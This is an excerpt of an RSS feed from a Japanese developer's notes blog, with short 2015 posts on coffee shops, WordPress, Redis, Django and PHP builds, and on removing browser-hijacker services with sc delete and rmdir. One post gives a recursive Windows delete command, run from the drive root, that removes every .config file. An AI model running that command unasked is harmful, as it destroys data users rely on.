&lt;h3 id="港区"&gt;港区&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;東麻布&lt;a href="http://macaro-ni.jp/7745?page=2"&gt;Towers 188&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;六本木&lt;a href="http://beagoodneighbor.net/roppongi"&gt;Be a Good Neighbor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;西新橋&lt;a href="http://peace-coffee.jp/"&gt;PEACE COFFEE ROASTERS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="中野"&gt;中野&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;中野 &lt;a href="http://bar-zingaro.jp/"&gt;Bar Zingaro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="江東区"&gt;江東区&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;清澄 &lt;a href="http://arisecoffee.jp/"&gt;ARISE COFFEE&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="roastery"&gt;Roastery&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;鹿児島 [VOILA] (&lt;a href="http://www.inouecoffee.com/"&gt;http://www.inouecoffee.com/&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;奥沢 &lt;a href="http://onibuscoffee.com/top.html"&gt;ONIBUS COFFEE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;富ヶ谷 &lt;a href="http://shop.thecoffeeshop.jp/shopinfo/"&gt;ROAST WORKS THE COFFEESHOP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="beans"&gt;Beans&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.caffe-fresco.net/beans17.html"&gt;コスタリカ ラ・ロマ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kohikobo.co.jp/papa/green-beans/548/"&gt;エチオピア ナチュラル&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://onibuscoffee.com/lineup.html"&gt;ルワンダ　ニャカブエ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="resource"&gt;Resource&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.kohikobo.co.jp/papa/green-beans/"&gt;HORIGUCHI COFFEE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.discovery-cafe.jp/1_coffee/index.html"&gt;DISCOVERY&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.maruyamacoffee.com/blog/knowledge/"&gt;丸山珈琲&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>WordPress</title><link>https://hdknr.github.io/blogs/posts/2015/07/wordpress/</link><pubDate>Thu, 30 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/wordpress/</guid><description>&lt;h2 id="wordpress"&gt;Wordpress&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ja.wordpress.org/"&gt;https://ja.wordpress.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="note"&gt;Note&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/tree/master/php/wordpress"&gt;php/wordpress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://beautifulajax.dip.jp/?p=785"&gt;Wordpressのプラグイン作成（作成手順編）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="url-route"&gt;URL Route&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://codex.wordpress.org/Rewrite_API"&gt;Rewrite API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ruslanbes.com/devblog/2013/04/03/wordpress-routing-explained/"&gt;WordPress routing explained&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wordpress.org/plugins/wp-router/"&gt;WP Router&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="test"&gt;Test&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://wp-cli.org/"&gt;WP-CLI A command line interface for WordPress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sebastianbergmann/phpunit#installation"&gt;PHPUnit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/wp-cli/wp-cli/wiki/Plugin-Unit-Tests"&gt;Plugin Unit Tests&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pippinsplugins.com/unit-tests-wordpress-plugins-setting-up-testing-suite/"&gt;Unit Tests for WordPress Plugins – Setting Up Our Testing Suite&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="debug"&gt;Debug&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://codex.wordpress.org/Debugging_in_WordPress"&gt;Debugging in WordPress&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.wpoptimus.com/527/debugging-tools-plugins-wordpress/"&gt;10 WordPress Debugging Tools to Find Errors and Warnings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fuelyourcoding.com/simple-debugging-with-wordpress/"&gt;Simple Debugging with WordPress&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="authentication"&gt;Authentication&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/miled/wordpress-social-login"&gt;Wordpress-Social-Login&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/fumikito/Gianism"&gt;Gianism&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Windows Note</title><link>https://hdknr.github.io/blogs/posts/2015/07/windows-note/</link><pubDate>Wed, 29 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/windows-note/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://zenito9970.hatenablog.com/entry/2015/06/19/163701"&gt;Cmderを使う&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ choco install cmdermini.portable
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Command</title><link>https://hdknr.github.io/blogs/posts/2015/07/command/</link><pubDate>Tue, 28 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/command/</guid><description>&lt;h1 id="find--exec-rm--in-windows"&gt;find -exec rm in Windows&lt;/h1&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\&amp;gt;for /F &amp;#34;usebackq&amp;#34; %i in (`dir /s /b *.config`) do del %i
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>ドキュメントインデックス</title><link>https://hdknr.github.io/blogs/posts/2015/07/%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%82%A4%E3%83%B3%E3%83%87%E3%83%83%E3%82%AF%E3%82%B9/</link><pubDate>Sat, 25 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/%E3%83%89%E3%82%AD%E3%83%A5%E3%83%A1%E3%83%B3%E3%83%88%E3%82%A4%E3%83%B3%E3%83%87%E3%83%83%E3%82%AF%E3%82%B9/</guid><description>&lt;h2 id="php"&gt;PHP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/blob/master/php/phpenv.anyenv.md"&gt;anyenv+phpenv&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/blob/master/php/composer.md"&gt;composer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/blob/master/php/psysh.md"&gt;PsySh&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Browser Hijacker</title><link>https://hdknr.github.io/blogs/posts/2015/07/browser-hijacker/</link><pubDate>Wed, 22 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/browser-hijacker/</guid><description>&lt;p&gt;Delta Homes系の対応&lt;/p&gt;
&lt;h2 id="windowsmangerprotect"&gt;WindowsMangerProtect&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\WINDOWS\system32&lt;span style="color:#75715e"&gt;&amp;gt;sc delete WindowsMangerProtect&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[SC] DeleteService SUCCESS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\WINDOWS\system32&lt;span style="color:#75715e"&gt;&amp;gt;rmdir /S /Q &amp;#34;C:\ProgramData\WindowsMangerProtect&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="ihprotect-service"&gt;IHProtect Service&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\WINDOWS\system32&lt;span style="color:#75715e"&gt;&amp;gt;sc delete &amp;#34;IHProtect Service&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[SC] DeleteService SUCCESS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\WINDOWS\system32&lt;span style="color:#75715e"&gt;&amp;gt;rmdir /S /Q &amp;#34;C:\Program Files (x86)\MiuiTab&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Program&lt;span style="color:#75715e"&gt; Files (x86)\MiuiTab\msvcp110.dll - アクセスが拒否されました。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Program&lt;span style="color:#75715e"&gt; Files (x86)\MiuiTab\msvcr110.dll - アクセスが拒否されました。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\Program&lt;span style="color:#75715e"&gt; Files (x86)\MiuiTab\ProtectService.exe - アクセスが拒否されました。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C:\WINDOWS\system32&lt;span style="color:#75715e"&gt;&amp;gt;rmdir /S /Q &amp;#34;C:\Program Files (x86)\MiuiTab&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>NginxTool</title><link>https://hdknr.github.io/blogs/posts/2015/07/nginxtool/</link><pubDate>Tue, 21 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/nginxtool/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;$ git clone git@gist.github.com:7752aaa4aac58aa400b9.git bin
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;$ wget -qO- https://gist.github.com/hdknr/7752aaa4aac58aa400b9/archive/ac76968b64cbe682964880afc68b08bd54fc9987.zip | bsdtar -xvf-
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>phpenv.apxs2.md</title><link>https://hdknr.github.io/blogs/posts/2015/07/phpenv.apxs2.md/</link><pubDate>Mon, 06 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/phpenv.apxs2.md/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;-----------------
| BUILD ERROR |
-----------------
Here are the last 10 lines from the log:
-----------------------------------------
/tmp/php-build/source/5.6.10/ext/opcache/ZendAccelerator.c: In function ‘accel_use_shm_interned_strings’:
/tmp/php-build/source/5.6.10/ext/opcache/ZendAccelerator.c:397:28: warning: assignment discards ‘const’ qualifier from pointer target type
CG(interned_empty_string) = accel_new_interned_string(&amp;#34;&amp;#34;, sizeof(&amp;#34;&amp;#34;), 0 TSRMLS_CC);
^
PEAR package PHP_Archive not installed: generated phar will require PHP&amp;#39;s phar extension be enabled.
/usr/share/apache2/build/instdso.sh SH_LIBTOOL=&amp;#39;/usr/share/apr-1.0/build/libtool&amp;#39; libphp5.la /usr/lib/apache2/modules
install: cannot create regular file &amp;#39;/usr/lib/apache2/modules/libphp5.so&amp;#39;: Permission denied
apxs:Error: Command failed with rc=65536
.
make: *** [install-sapi] Error 1
-----------------------------------------
The full Log is available at &amp;#39;/tmp/php-build.5.6.10.20150707020507.log&amp;#39;.
[Warn]: Aborting build.
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Swift Related</title><link>https://hdknr.github.io/blogs/posts/2015/07/swift-related/</link><pubDate>Sun, 05 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/swift-related/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.evernote.com/l/AS7cnsYvrohMfKyBL9fLoH7je_DnLL6Ub4g"&gt;xcrun swift on command line generate &lt;unknown&gt;:0: error: could not load shared library&lt;/a&gt; (ライブラリのロード)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.evernote.com/shard/s302/sh/ba163bcb-73c2-4cec-91f8-c8e440bf3210/8df47227fec7d701a48cb3421f38879a"&gt;Regex in Swift&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://timekl.com/blog/2014/06/02/learning-swift-ordered-dictionaries/"&gt;Learning Swift: Ordered Dictionaries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lithium3141/SwiftDataStructures"&gt;lithium3141/SwiftDataStructures&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>readme.md</title><link>https://hdknr.github.io/blogs/posts/2015/06/readme.md/</link><pubDate>Tue, 23 Jun 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/06/readme.md/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://tsmd.hateblo.jp/entry/2013/05/09/045110"&gt;input type=&amp;ldquo;file&amp;rdquo; なやつを独自にデザインする方法&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.webantena.net/css/change-design-input-type-file/"&gt;[CSS]フォームの input type=file のボタンデザインを変更する方法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django: ファイルフィールドのコピー</title><link>https://hdknr.github.io/blogs/posts/2015/06/django-%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%83%95%E3%82%A3%E3%83%BC%E3%83%AB%E3%83%89%E3%81%AE%E3%82%B3%E3%83%94%E3%83%BC/</link><pubDate>Tue, 16 Jun 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/06/django-%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%83%95%E3%82%A3%E3%83%BC%E3%83%AB%E3%83%89%E3%81%AE%E3%82%B3%E3%83%94%E3%83%BC/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from campaign.models import *
&amp;gt;&amp;gt;&amp;gt; Application.objects.all()
[&amp;lt;Application: Application object&amp;gt;]
&amp;gt;&amp;gt;&amp;gt; a = _[0]
&amp;gt;&amp;gt;&amp;gt; a.receipt_photo.path
u&amp;#39;/home/vagrant/projects/our-site/web/protected/campaign_application/receipt_photo/01.jpg&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;$ tree protected/
protected/
└── campaign_application
└── receipt_photo
└── 01.jpg
2 directories, 1 file
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; n = Application()
&amp;gt;&amp;gt;&amp;gt; n.receipt_photo.save(&amp;#39;copy.jpg&amp;#39;, a.receipt_photo.file)
&amp;gt;&amp;gt;&amp;gt; n.save()
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; Application.objects.all()
[&amp;lt;Application: Application object&amp;gt;, &amp;lt;Application: Application object&amp;gt;]
&amp;gt;&amp;gt;&amp;gt; Application.objects.all()[1].receipt_photo.path
u&amp;#39;/home/vagrant/projects/our-site/web/protected/campaign_application/receipt_photo/copy.jpg&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;$ tree protected/
protected/
└── campaign_application
└── receipt_photo
├── 01.jpg
└── copy.jpg
2 directories, 2 files
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;$ sha1sum protected/campaign_application/receipt_photo/*
a97c2b07232242e96506914cadfbc08ea7efb712 protected/campaign_application/receipt_photo/01.jpg
a97c2b07232242e96506914cadfbc08ea7efb712 protected/campaign_application/receipt_photo/copy.jpg
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Redis Windows</title><link>https://hdknr.github.io/blogs/posts/2015/04/redis-windows/</link><pubDate>Tue, 21 Apr 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/04/redis-windows/</guid><description>&lt;h1 id="redis-64-on-windows"&gt;Redis-64 on Windows&lt;/h1&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr&amp;gt;choco install redis-64
Chocolatey v0.9.9.2
Installing the following packages:
redis-64
By installing you accept licenses for the packages.
redis-64 v2.8.19
ShimGen has successfully created a shim for redis-benchmark.exe
ShimGen has successfully created a shim for redis-check-aof.exe
ShimGen has successfully created a shim for redis-check-dump.exe
ShimGen has successfully created a shim for redis-cli.exe
ShimGen has successfully created a shim for redis-server.exe
redis-64 has been installed successfully.
Chocolatey installed 1/1 package(s). 0 package(s) failed.
See the log for details.
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="redis-server"&gt;redis-server&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr&amp;gt;redis-server
[7308] 21 Apr 10:26:02.432 # Warning: no config file specified, using the defaul
t config.
In order to specify a config file use C:\ProgramData\chocolatey\lib\redis-64\redis-server.exe /path/to/redis.conf
_._
_.-``__ &amp;#39;&amp;#39;-._
_.-`` `. `_. &amp;#39;&amp;#39;-._ Redis 2.8.19 (00000000/0) 64 bit
.-`` .-```. ```\/ _.,_ &amp;#39;&amp;#39;-._
( &amp;#39; , .-` | `, ) Running in stand alone mode
|`-._`-...-` __...-.``-._|&amp;#39;` _.-&amp;#39;| Port: 6379
| `-._ `._ / _.-&amp;#39; | PID: 7308
`-._ `-._ `-./ _.-&amp;#39; _.-&amp;#39;
|`-._`-._ `-.__.-&amp;#39; _.-&amp;#39;_.-&amp;#39;|
| `-._`-._ _.-&amp;#39;_.-&amp;#39; | http://redis.io
`-._ `-._`-.__.-&amp;#39;_.-&amp;#39; _.-&amp;#39;
|`-._`-._ `-.__.-&amp;#39; _.-&amp;#39;_.-&amp;#39;|
| `-._`-._ _.-&amp;#39;_.-&amp;#39; |
`-._ `-._`-.__.-&amp;#39;_.-&amp;#39; _.-&amp;#39;
`-._ `-.__.-&amp;#39; _.-&amp;#39;
`-._ _.-&amp;#39;
`-.__.-&amp;#39;
[7308] 21 Apr 10:26:02.455 # Server started, Redis version 2.8.19
[7308] 21 Apr 10:26:02.456 * The server is now ready to accept connections on port 6379
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="redis-cli"&gt;redis-cli&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr&amp;gt;redis-cli
127.0.0.1:6379&amp;gt; set testkey testvalue
OK
127.0.0.1:6379&amp;gt; get testkey
&amp;#34;testvalue&amp;#34;
127.0.0.1:6379&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="stackexchangeredis"&gt;StackExchange.Redis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nuget.org/packages/StackExchange.Redis/"&gt;NuGet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PM&amp;gt; Install-Package StackExchange.Redis
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Windows Forms&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-csharp" data-lang="csharp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; button1_Click(&lt;span style="color:#66d9ef"&gt;object&lt;/span&gt; sender, EventArgs e)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; connect = StackExchange.Redis.ConnectionMultiplexer.Connect(&lt;span style="color:#e6db74"&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; cb = connect.GetDatabase(); &lt;span style="color:#75715e"&gt;// StackExchange.Redis.IDatabase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cb.StringSet(&lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;hdknr&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; MessageBox.Show(cb.StringGet(&lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Console Client&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;127.0.0.1:6379&amp;gt; get name
&amp;#34;hdknr&amp;#34;
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Photon Note</title><link>https://hdknr.github.io/blogs/posts/2015/04/photon-note/</link><pubDate>Mon, 06 Apr 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/04/photon-note/</guid><description>&lt;ul&gt;
